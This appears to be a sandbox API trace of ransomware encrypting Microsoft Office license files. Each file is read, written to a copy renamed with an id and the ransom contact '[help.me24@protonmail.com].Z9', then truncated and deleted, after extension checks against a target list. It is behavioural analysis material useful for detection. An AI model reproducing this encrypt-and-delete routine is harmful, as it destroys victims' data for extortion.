	[0178.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0178.183] lstrlenW (lpString=".dbf") returned 4
	[0178.183] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0178.183] lstrlenW (lpString=".1cd") returned 4
	[0178.183] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0178.183] lstrlenW (lpString=".jpg") returned 4
	[0178.183] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0178.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0178.183] lstrlenW (lpString=".doc") returned 4
	[0178.183] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.183] lstrlenW (lpString=".docx") returned 5
	[0178.183] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.183] lstrlenW (lpString=".pdf") returned 4
	[0178.184] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.184] lstrlenW (lpString=".xls") returned 4
	[0178.184] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.184] lstrlenW (lpString=".xlsx") returned 5
	[0178.184] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.184] lstrlenW (lpString=".ppt") returned 4
	[0178.184] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0178.184] lstrlenW (lpString=".zip") returned 4
	[0178.184] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.184] lstrlenW (lpString=".rar") returned 4
	[0178.184] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.184] lstrlenW (lpString=".bz2") returned 4
	[0178.184] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.184] lstrlenW (lpString=".7z") returned 3
	[0178.184] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0178.184] lstrlenW (lpString=".dbf") returned 4
	[0178.184] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0178.184] lstrlenW (lpString=".1cd") returned 4
	[0178.184] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0178.185] lstrlenW (lpString=".jpg") returned 4
	[0178.185] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.185] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0178.185] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 40
	[0178.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0178.186] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=11637) returned 1
	[0178.186] CloseHandle (hObject=0x4bc) returned 1
	[0178.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms")) returned 0x220
	[0178.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0178.187] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.187] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0178.189] GetLastError () returned 0x0
	[0178.189] ReadFile (in: hFile=0x4bc, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x2d75, lpOverlapped=0x0) returned 1
	[0178.192] WriteFile (in: hFile=0x37c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0178.199] ReadFile (in: hFile=0x4bc, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.199] WriteFile (in: hFile=0x37c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x124, lpOverlapped=0x0) returned 1
	[0178.199] SetEndOfFile (hFile=0x37c) returned 1
	[0178.199] CloseHandle (hObject=0x37c) returned 1
	[0178.199] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.199] SetEndOfFile (hFile=0x4bc) returned 1
	[0178.204] CloseHandle (hObject=0x4bc) returned 1
	[0178.204] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.205] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms")) returned 1
	[0178.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0178.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0178.206] lstrlenW (lpString=".doc") returned 4
	[0178.206] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.206] lstrlenW (lpString=".docx") returned 5
	[0178.206] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.206] lstrlenW (lpString=".pdf") returned 4
	[0178.206] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.206] lstrlenW (lpString=".xls") returned 4
	[0178.206] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.206] lstrlenW (lpString=".xlsx") returned 5
	[0178.206] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.206] lstrlenW (lpString=".ppt") returned 4
	[0178.207] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0178.207] lstrlenW (lpString=".zip") returned 4
	[0178.207] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.207] lstrlenW (lpString=".rar") returned 4
	[0178.207] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.207] lstrlenW (lpString=".bz2") returned 4
	[0178.207] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.207] lstrlenW (lpString=".7z") returned 3
	[0178.207] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0178.207] lstrlenW (lpString=".dbf") returned 4
	[0178.207] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0178.207] lstrlenW (lpString=".1cd") returned 4
	[0178.207] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0178.207] lstrlenW (lpString=".jpg") returned 4
	[0178.207] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0178.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0178.207] lstrlenW (lpString=".doc") returned 4
	[0178.208] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.208] lstrlenW (lpString=".docx") returned 5
	[0178.208] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.208] lstrlenW (lpString=".pdf") returned 4
	[0178.208] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.208] lstrlenW (lpString=".xls") returned 4
	[0178.208] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.208] lstrlenW (lpString=".xlsx") returned 5
	[0178.208] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.208] lstrlenW (lpString=".ppt") returned 4
	[0178.208] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0178.208] lstrlenW (lpString=".zip") returned 4
	[0178.208] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.208] lstrlenW (lpString=".rar") returned 4
	[0178.208] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.208] lstrlenW (lpString=".bz2") returned 4
	[0178.208] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.208] lstrlenW (lpString=".7z") returned 3
	[0178.208] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0178.208] lstrlenW (lpString=".dbf") returned 4
	[0178.208] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0178.209] lstrlenW (lpString=".1cd") returned 4
	[0178.209] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0178.209] lstrlenW (lpString=".jpg") returned 4
	[0178.209] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.209] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0178.209] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 40
	[0178.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0178.211] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=19982) returned 1
	[0178.211] CloseHandle (hObject=0x4bc) returned 1
	[0178.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms")) returned 0x220
	[0178.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0178.212] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.212] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0178.213] GetLastError () returned 0x0
	[0178.213] ReadFile (in: hFile=0x4bc, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x4e0e, lpOverlapped=0x0) returned 1
	[0178.640] WriteFile (in: hFile=0x37c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x4e10, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x4e10, lpOverlapped=0x0) returned 1
	[0178.658] ReadFile (in: hFile=0x4bc, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.658] WriteFile (in: hFile=0x37c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x124, lpOverlapped=0x0) returned 1
	[0178.659] SetEndOfFile (hFile=0x37c) returned 1
	[0178.659] CloseHandle (hObject=0x37c) returned 1
	[0178.659] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.659] SetEndOfFile (hFile=0x4bc) returned 1
	[0178.664] CloseHandle (hObject=0x4bc) returned 1
	[0178.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms")) returned 1
	[0178.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0178.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0178.666] lstrlenW (lpString=".doc") returned 4
	[0178.666] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.666] lstrlenW (lpString=".docx") returned 5
	[0178.666] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.667] lstrlenW (lpString=".pdf") returned 4
	[0178.667] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.667] lstrlenW (lpString=".xls") returned 4
	[0178.667] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.667] lstrlenW (lpString=".xlsx") returned 5
	[0178.667] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.667] lstrlenW (lpString=".ppt") returned 4
	[0178.667] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0178.667] lstrlenW (lpString=".zip") returned 4
	[0178.667] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.667] lstrlenW (lpString=".rar") returned 4
	[0178.667] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.667] lstrlenW (lpString=".bz2") returned 4
	[0178.667] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.667] lstrlenW (lpString=".7z") returned 3
	[0178.667] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0178.667] lstrlenW (lpString=".dbf") returned 4
	[0178.667] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0178.667] lstrlenW (lpString=".1cd") returned 4
	[0178.667] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0178.668] lstrlenW (lpString=".jpg") returned 4
	[0178.668] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0178.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0178.668] lstrlenW (lpString=".doc") returned 4
	[0178.668] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.668] lstrlenW (lpString=".docx") returned 5
	[0178.668] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.668] lstrlenW (lpString=".pdf") returned 4
	[0178.668] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.668] lstrlenW (lpString=".xls") returned 4
	[0178.668] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.668] lstrlenW (lpString=".xlsx") returned 5
	[0178.668] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.668] lstrlenW (lpString=".ppt") returned 4
	[0178.668] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0178.669] lstrlenW (lpString=".zip") returned 4
	[0178.669] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.669] lstrlenW (lpString=".rar") returned 4
	[0178.669] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.669] lstrlenW (lpString=".bz2") returned 4
	[0178.669] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.669] lstrlenW (lpString=".7z") returned 3
	[0178.669] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0178.669] lstrlenW (lpString=".dbf") returned 4
	[0178.669] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0178.669] lstrlenW (lpString=".1cd") returned 4
	[0178.669] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0178.669] lstrlenW (lpString=".jpg") returned 4
	[0178.669] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.669] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0178.669] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 34
	[0178.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0178.671] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=22094) returned 1
	[0178.671] CloseHandle (hObject=0x4bc) returned 1
	[0178.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms")) returned 0x220
	[0178.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0178.672] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.672] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0178.674] GetLastError () returned 0x0
	[0178.674] ReadFile (in: hFile=0x4bc, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x564e, lpOverlapped=0x0) returned 1
	[0178.690] WriteFile (in: hFile=0x37c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x5650, lpOverlapped=0x0) returned 1
	[0178.692] ReadFile (in: hFile=0x4bc, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.692] WriteFile (in: hFile=0x37c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x118, lpOverlapped=0x0) returned 1
	[0178.692] SetEndOfFile (hFile=0x37c) returned 1
	[0178.693] CloseHandle (hObject=0x37c) returned 1
	[0178.693] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.693] SetEndOfFile (hFile=0x4bc) returned 1
	[0178.701] CloseHandle (hObject=0x4bc) returned 1
